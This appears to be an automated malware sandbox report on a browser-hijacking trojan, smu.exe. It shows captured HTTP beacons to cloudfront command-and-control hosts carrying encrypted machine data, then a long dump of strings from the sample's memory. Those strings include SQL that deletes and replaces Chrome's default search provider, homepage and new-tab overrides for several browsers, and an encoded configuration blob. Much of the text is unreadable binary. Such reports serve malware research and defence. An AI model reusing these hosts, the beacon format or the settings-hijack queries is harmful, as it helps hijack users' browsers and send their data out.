G18M0uc9GlZ8mnOOUb0KoWlETc6mEBYP88wmo9j6kPC8AKe5Q==.._0Z...g..R~*.+...
.t.......Q!."C..*....p....I...@_.X..-.9...o.......b....|.......#u.E...
..c.c.......G..{.m.7+.9N...z.R.h.....O.=..L7-..C.Yj....oo..z!. |A...p:
...U.I..R?-....*%26gt;....5{.......2X.II....(L[.a....p.1.^5;G$.O".'8 ..+
|...\.(..M....SW..%.y.......A$...*...6...H.:R......).2.M-..}.kZ...M..v
.;e......V=-.0.i.,.Z%26gt;..M-A..!........z.R...K..:.v.%.fh.....)...o..e
`...Xi..t....6^.Hei*y..D5.C.^..$yr.J!]B@.Wdf....w4v.P.T...7_....C.I!%26.
y...+...p...P..d...|....%26........a..:G.k.`0....?..5...V@.G...2..w..2so
v..}..'...Uk.%26lt;02.r...[...=.(Z..s..5....7e._...@.V.T?G...?+V..}~y...
.'{.y.1..hj....g.I.......o.c...@..W.H...%'...#L..l.f_oN..;.%26.?D.c[..*%26
gt;+%26..t..q....RU1.gn...5.Yn.1...R..;'..."..i..=.9....%26..0..;.d..w).Y2
%26gt;u..-ID....4..Br%26lt;..0...\z.D1......:..../..{..g...t..zt.7....;.'.
.k.q...._..O.\a:8..Xv.........U%26...XgrX..t%26Q...I @V.ed.RR.c0.).,......
..e)$vf..n..1.V..*...0.Q....(.F..,... t..........u}......0......7}%26gt;
..2.....3|[FE.C....."..0...l...Lv5..f..8u...D.....^.-a.....V...!..

GET /p.ashx?e=lOCrbsNL2zXY+n+Drgf83Ceu24nwBOho9kJpoiaoxYR6njPZcIS19LQZ0RbIZgn/G04r2GZQbxA4k4Gm5vvSsnGAt48jCvkuTKeC3EisBSuPQCW3Xc52o2/NJcbq0HoEgctTzNTrZipoENv9hv+yb1U5UwOzfEgnfa6VRey9pub6LKPMT5YRxqPDlT6qw/1mxko6F4tH/rEF31vgH+2Mri4btG+OZIk/aFQl5nsf8/DcvKSgaF6RF7PiCC4paVhdYzx82mF+8+w= HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1y2jryd6u59ns.cloudfront.net

HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Mon, 20 Mar 2017 00:20:14 GMT
X-Cache: Miss from cloudfront
Via: 1.1 27b3a801292660302bc6c8d6a96c71ce.cloudfront.net (CloudFront)
X-Amz-Cf-Id: IqKgcCHBKYBnbQOW_sqLgoSHwKTPgWNQH-dElrevhRthrbjMuiZTUQ==

HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/8.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Mon, 20 Mar 2017 00:20:14 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 27b3a801292660302bc6c8d6a96c71
ce.cloudfront.net (CloudFront)..X-Amz-Cf-Id: IqKgcCHBKYBnbQOW_sqLgoSHw
KTPgWNQH-dElrevhRthrbjMuiZTUQ==..

GET /p.ashx?e=lOCrbsNL2zXY+n+Drgf83Ceu24nwBOho9kJpoiaoxYTLUfe2AWI4iW/NJcbq0HoEgctTzNTrZipoENv9hv+yb1U5UwOzfEgnfa6VRey9pub6LKPMT5YRxqPDlT6qw/1mxko6F4tH/rEF31vgH+2Mri4btG+OZIk/aFQl5nsf8/DcvKSgaF6RF7PiCC4paVhdKPgmwjXNu7I= HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1y2jryd6u59ns.cloudfront.net

....

GET /p.ashx?e=bdqY0vC4PYtCQdt9doPgoA0rZFNspeHnFDDfVv/vH29/uaLevhL3VpGCCoDalgcEvSm4upuKAkb3HPmTAFrGinfglf7YsJYJYvL+zeepkoH7lS9xrvVML+BEf8zqYXvVBuc4HO5RaucB0eAPmqRh7cqZ27dtquSa6Yc5lgnLWj9NhpNg/N/OrsNgV0KIQ93+dulfay3+QHl32cx0G27ZSGAqR2XPWVGh9o0hxHg3iWEUAvnawhe3hRc0NdkJ4D18DFbcjOkM5Uo+QFr7zZfYbQ== HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1y2jryd6u59ns.cloudfront.net

HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Mon, 20 Mar 2017 00:20:14 GMT
X-Cache: Miss from cloudfront
Via: 1.1 d6fa2e1de8f392301c10fd5bb7b263c3.cloudfront.net (CloudFront)
X-Amz-Cf-Id: WIaVVq4FaajpOxw7kcMX8NRAQnzthqVVm6lg-bt7YByOUnE5sU4r-A==

HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/8.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Mon, 20 Mar 2017 00:20:14 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 d6fa2e1de8f392301c10fd5bb7b263
c3.cloudfront.net (CloudFront)..X-Amz-Cf-Id: WIaVVq4FaajpOxw7kcMX8NRAQ
nzthqVVm6lg-bt7YByOUnE5sU4r-A==..

POST /br.ashx?pid={PID}%26aid={AID}%26ss=0%26s=FAAzamodk0,99999999-9999-4180-88c6-7a076893e507,%26v=2.3.12.1634%26md5=8fabe64f8ec5d8b0b835e8a83f29082c%26mid=AiAAAiAAA3A9AAA7A3AJieA1A91J7L773DiLAiiAA13D1J%26uid=6F75218C-FEA5-4C12-BC59-BB31CD1E1E1A HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.0)
Host: d23ocewf5ttxmu.cloudfront.net
Content-Length: 2086
Connection: Keep-Alive
Cache-Control: no-cache

d=MtqTE47KGyjjA8zS3H7pJFOADWaZCWMCDWjQ0ujplOd9MbV/lVmWaND+60ePIdsrOcMBzS3H5a0be7N36qAF8kdvdSvmslRxPCNs1oS8WZUOzaar9Egy5SzOr9rhzlAQdf09Xr401steNr+mQH+VoxX6Rze/7NvJYTdPZS04+jvBMWqv6Qvf9DNZawo3yh8aLrtJikea7Vr6RYlRBKnKPhzN0jVqDPxXWcZpZKsofN7lBOl+e1/lbjhigtcqjvKJ0HXl60Dt/azGf4WyQ4pBcaujTuYHUvmbfXoBUdDBpfst5Cnu/6UfyPOPBhh4PvLgPcCVrzCocS421e/NCDWm6mw3fw1TVhnvONcolvvTJMhYKAbBQ6MCy/YiDfDObVBWQ6lOY3KgH2A7Ok2sevxNYKZBkH1lwef5iVaJzvCTQFDpqXuumXfvxH80JeF3wmqbFDzGhyy5ZVQY/zgXrmxAdSaCYQnjsEpKqNUiWYmuW54ILS5IZNtenyQHPVyolqBCD/5l0Jp/pGw/wdklma+XkH/sMYQW/q6APL9AZS6vInj5q402KYmuO7uUVWQkNDrUzVQogiSiHUUbkt9xGmkZ3KbvoMG8r9VxUGu2nQcHLKpLbWdCZoCU6lTrA4SDxYt3XQUh14jtaQ6zaqej14QNUX9tuDXbGFU/4ilR5GOuvw37L+WtwDUNySQevrJPNOODaBdBZnaFneyb3tAKPGOiQlcUlcnVIrWNWsGrgZefH875FB4dAsQ5PNnszPtZSAO/AudQs9axn3MjcyAgLnSpYGBy1utPgkEJWFebggy2cY1Sa9k+zM04yMJWSpAMTxjmcpfDFzOuHVu+dUt73kOcovtbTwO1fRDkEvb7nxvf6F9X4XhtGfA6F9un4Sj+tycBIXzlj5AJYVGg9CeDOJiHVYEMD6f0Yxw9PvVvnPv67ClaftH4KT2nccqYvSDAOzz7tO5R+OJbSC7H67zZblJzmrY3OfIBxIaolmlJImDSsXKAcuKKCKL0Y0Gf/sSMU6n3cHi5Y9Aw06mw26Anf1ZHGdeySNMAGf2g58F8QzEcR48L

HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private,no-cache, no-store
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Mon, 20 Mar 2017 00:20:18 GMT
X-Cache: Miss from cloudfront
Via: 1.1 69ae15d1338b64299d3942a44fc1fb96.cloudfront.net (CloudFront)
X-Amz-Cf-Id: y-P4GnL3XgWw958bmBsKHnH4bmjE4R0VQRvOHKvG4EUsEqr--HSwQg==

Map

The Trojan connects to the servers at the folowing location(s):

Strings from Dumps

smu.exe_3356:

.text

`.rdata

@.data

.rsrc

@.reloc

D$@j.Xf

%26lt;:%u4

t8Ht.HHt#

F2t%f

#t.Ht

+2+34+567

j.Yf;

_tcPVj@

.PjRW

broken pipe

inappropriate io control operation

not supported

operation in progress

operation not permitted

operation not supported

operation would block

protocol not supported

function not supported

operation canceled

address_family_not_supported

operation_in_progress

operation_not_supported

protocol_not_supported

operation_would_block

address family not supported

0123456789-

%b %d %H : %M : %S %Y

%m / %d / %y

%I : %M : %S %p

%d / %m / %y

operator

GetProcessWindowStation

?456789:;%26lt;=

!"#$%%26'()*+,-./0123

1.2.3

SQLite format 3

REINDEXEDESCAPEACHECKEYBEFOREIGNOREGEXPLAINSTEADDATABASELECTABLEFTHENDEFERRABLELSEXCEPTRANSACTIONATURALTERAISEXCLUSIVEXISTSAVEPOINTERSECTRIGGEREFERENCESCONSTRAINTOFFSETEMPORARYUNIQUERYATTACHAVINGROUPDATEBEGINNERELEASEBETWEENOTNULLIKECASCADELETECASECOLLATECREATECURRENT_DATEDETACHIMMEDIATEJOINSERTMATCHPLANALYZEPRAGMABORTVALUESVIRTUALIMITWHENWHERENAMEAFTEREPLACEANDEFAULTAUTOINCREMENTCASTCOLUMNCOMMITCONFLICTCROSSCURRENT_TIMESTAMPRIMARYDEFERREDISTINCTDROPFAILFROMFULLGLOBYIFISNULLORDERESTRICTOUTERIGHTROLLBACKROWUNIONUSINGVACUUMVIEWINITIALLY

CREATE TABLE sqlite_master(

sql text

3.7.2

CREATE TEMP TABLE sqlite_temp_master(

208.69.150.250

208.69.150.252

8.8.8.8

SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\

Catcher.ProcessId:

Catcher.Path:

Watcher.Filter:

2.3.12.1634

smu.exe

Chrome

Report.xml

/Url:

Report factory:

Update.xml

URLSet

Report

homeURL

suggestURL

newTabURL

ieSearchURL

chSearchURL

ffSearchURL

opSearchURL

chromeKeyword

[UpdateParser::Implementation::UpdateParser::ParseUrlSetSection]

vup.tmp

Argument.CheckResult:

Argument.IsRunning:

Delivery of report succeeded. TaskId:

Delivery of report failed.

SHDeleteKeyW

RegDeleteKeyExA

RegDeleteKeyExW

CCCzdef1,11111111-1111-1111-1111-111111111111

NtQueryKey

1.3.6.1.4.1.311.2.1.12

urls

ERROR: %s

SELECT * FROM urls

WebData path:

favicon_url

keyword

originating_url

suggest_url

keywords

keyword LIKE '

WHERE key = 'Default Search Provider ID'

key = 'Default Search Provider ID'

DELETE from keywords WHERE id =

search_url

icon_url

startup_urls

chrome_url_overrides

urls_to_restore_on_startup

www-searching.com

template_url_data

image_url_post_params

instant_url

instant_url_post_params

search_terms_replacement_key

new_tab_url

search_url_post_params

suggestions_url

suggestions_url_post_params

chrome_settings_overrides

session.startup_urls

web_url

search_icon.png

%26#x%02X;

%26lt;/%s%26gt;

%s="%s"

%s='%s'

%26lt;![CDATA[%s]]%26gt;

%26lt;!--%s--%26gt;

version="%s"

encoding="%s"

standalone="%s"

Snapshot.xml

MozillaFirefox

GoogleChrome

AboutTabsUrl

HomePageUrl

DefaultProviderKeyword

UrlsToRestoreOnStartup

StartupHomepageUrl

Chrome propagate flags:

Firefox propagate flags:

ParentKey:

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

2, 3, 12, 1634

Envelop.xml

UrlSet

Configuration.xml

Opera

StartPageUrl

AboutTabUrl

SearchScopeUrl

SearchScopeIconUrl

SearchScopeSuggestUrl

DefaultProviderSearchUrl

DefaultProviderIconUrl

DefaultProviderSuggestUrl

SearchPluginUrl

SearchPluginSuggestionUrl

TabPageUrl

SearchEngineFaviconUrl

SearchEngineSuggestionUrl

SearchEngineSearchUrl

SearchEngineKeyword

System.xml

Reset-2.1.0.7

ReportUrl

UpdateUrl

ReportDlls

User.xml

Argument.Snapshot:

Argument.GeneralConfig:

Argument.Flags:

Argument.StartPage:

Argument.Autosearch:

Argument.NewTabPageShow:

Argument.SearchScopeId:

Argument.Tabs:

select count(*) from sqlite_master where type = 'table' and name = '

%d-%m-%Y %H:%M, %a

unable to close due to unfinished backup operation

SQL logic error or missing database

large file support is disabled

unknown database: %s

no such vfs: %s

misuse at line %d of [%.10s]

database corruption at line %d of [%.10s]

cannot open file at line %d of [%.10s]

SQLITE_

%04d-%02d-%02d %02d:%02d:%02d

%04d-%02d-%02d

%02d:%02d:%02d

failed memory resize %u to %u bytes

failed to allocate %u bytes of memory

API call with %s database connection pointer

922337203685477580

RowKey

%s-shm

OsError 0x%x (%u)

%s\etilqs_

Recovered %d frames from WAL file %s

2nd reference to page %d

invalid page number %d

Bad ptr map entry key=%d expected=(%d,%d) got=(%d,%d)

Failed to read ptrmap key=%d

failed to get page %d

%d of %d pages missing from overflow list starting at %d

Page %d:

freelist leaf count too big on page %d

btreeInitPage() returns error code %d

unable to get the page. error code=%d

On tree page %d cell %d:

On page %d at right child:

Multiple uses for byte %d of page %d

Corruption detected in cell %d on page %d

Fragmentation of %d bytes reported as %d on page %d

Page %d is never used

Outstanding page count goes from %d to %d during this analysis

Pointer map page %d is referenced

keyinfo(%d

%s(%d)

foreign key constraint failed

%s-mj%08X

unable to use function %s in the requested context

bind on a busy prepared statement: [%s]

zeroblob(%d)

constraint failed at %d in [%s]

abort at %d in [%s]: %s

no such savepoint: %s

cannot open savepoint - SQL statements in progress

cannot rollback transaction - SQL statements in progress

cannot %s savepoint - SQL statements in progress

cannot commit transaction - SQL statements in progress

sqlite_temp_master

SELECT name, rootpage, sql FROM '%q'.%s WHERE %s ORDER BY rowid

sqlite_master

cannot change %s wal mode from within a transaction

statement aborts at %d: [%s] %s

database table is locked: %s

cannot open view: %s

cannot open virtual table: %s

foreign key

no such column: "%s"

cannot open %s column for writing

indexed

cannot open value of type %s

misuse of aliased aggregate %s

%s: %s.%s.%s

%s: %s

%s: %s.%s

not authorized to use function: %s

%r %s BY term out of range - should be between 1 and %d

too many terms in %s BY clause

variable number must be between ?1 and ?%d

Expression tree is too large (maximum depth %d)

too many columns in %s

too many SQL variables

misuse of aggregate: %s()

%s%.*s"%w"

%.*s"%w"%s

sqlite_rename_table

sqlite_rename_parent

sqlite_rename_trigger

%s OR name=%Q

there is already another table or index with this name: %s

table %s may not be altered

sqlite_

UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;

view %s may not be altered

sqlite_sequence

UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q AND (type='table' OR type='index' OR type='trigger');

UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;

UPDATE "%w".sqlite_sequence set name = %Q WHERE name = %Q

Cannot add a PRIMARY KEY column

UPDATE "%w".%s SET sql = substr(sql,1,%d) || ', ' || %Q || substr(sql,%d) WHERE type = 'table' AND name = %Q

sqlite_stat1

sqlite_altertab_%s

CREATE TABLE %Q.%s(%s)

DELETE FROM %Q.%s WHERE tbl=%Q

invalid name: "%s"

SELECT idx, stat FROM %Q.sqlite_stat1

too many attached databases - max %d

database %s is already in use

unable to open database: %s

cannot detach database %s

no such database: %s

database %s is locked

sqlite_attach

sqlite_detach

%s %T cannot reference objects in database %s

access to %s.%s is prohibited

access to %s.%s.%s is prohibited

object name reserved for internal use: %s

too many columns on %s

there is already an index named %s

default value of column [%s] is not constant

duplicate column name: %s

AUTOINCREMENT is only allowed on an INTEGER PRIMARY KEY

table "%s" has more than one primary key

no such collation sequence: %s

UPDATE %Q.%s SET type='%s', name=%Q, tbl_name=%Q, rootpage=#%d, sql=%Q WHERE rowid=#%d

CREATE %s %.*s

CREATE TABLE %Q.sqlite_sequence(name,seq)

view %s is circularly defined

table %s may not be dropped

UPDATE %Q.%s SET rootpage=%d WHERE #%d AND rootpage=#%d

use DROP VIEW to delete view %s

use DROP TABLE to delete table %s

DELETE FROM %Q.%s WHERE tbl_name=%Q and type!='trigger'

DELETE FROM %s.sqlite_sequence WHERE name=%Q

foreign key on %s should reference only one column of table %T

DELETE FROM %Q.sqlite_stat1 WHERE tbl=%Q

unknown column "%s" in foreign key definition

number of columns in foreign key does not match the number of columns in the referenced table

indexed columns are not unique

table %s may not be indexed

virtual tables may not be indexed

views may not be indexed

index %s already exists

there is already a table named %s

table %s has no column named %s

sqlite_autoindex_%s_%d

INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);

CREATE%s INDEX %.*s

no such index: %S

DELETE FROM %Q.%s WHERE name=%Q

index associated with UNIQUE or PRIMARY KEY constraint cannot be dropped

DELETE FROM %Q.sqlite_stat1 WHERE idx=%Q

a JOIN clause is required before %s

unable to identify the object to be reindexed

cannot modify %s because it is a view

table %s may not be modified

sqlite_source_id

sqlite_version

sqlite_compileoption_get

sqlite_compileoption_used

foreign key mismatch

table %S has %d columns but %d values were supplied

table %S has no column named %s

%d values for %d columns

%s.%s may not be NULL

PRIMARY KEY must be unique

sqlite3_extension_init

no entry point [%s] in shared library [%s]

unable to open shared library [%s]

automatic extension loading failed: %s

error during initialization: %s

foreign_keys

foreign_key_list

*** in database %s ***

unsupported encoding: %s

malformed database schema (%s)

%s - %s

SELECT name, rootpage, sql FROM '%q'.%s ORDER BY rowid

unsupported file format

database schema is locked: %s

RIGHT and FULL OUTER JOINs are not currently supported

unknown or unsupported join type: %T %T%s%T

cannot have both ON and USING clauses in the same join

a NATURAL join may not have an ON or USING clause

cannot join using column %s - column not present in both tables

%s.%s

ORDER BY clause should come after %s not before

%s:%d

SELECTs to the left and right of %s do not have the same number of result columns

LIMIT clause should come after %s not before

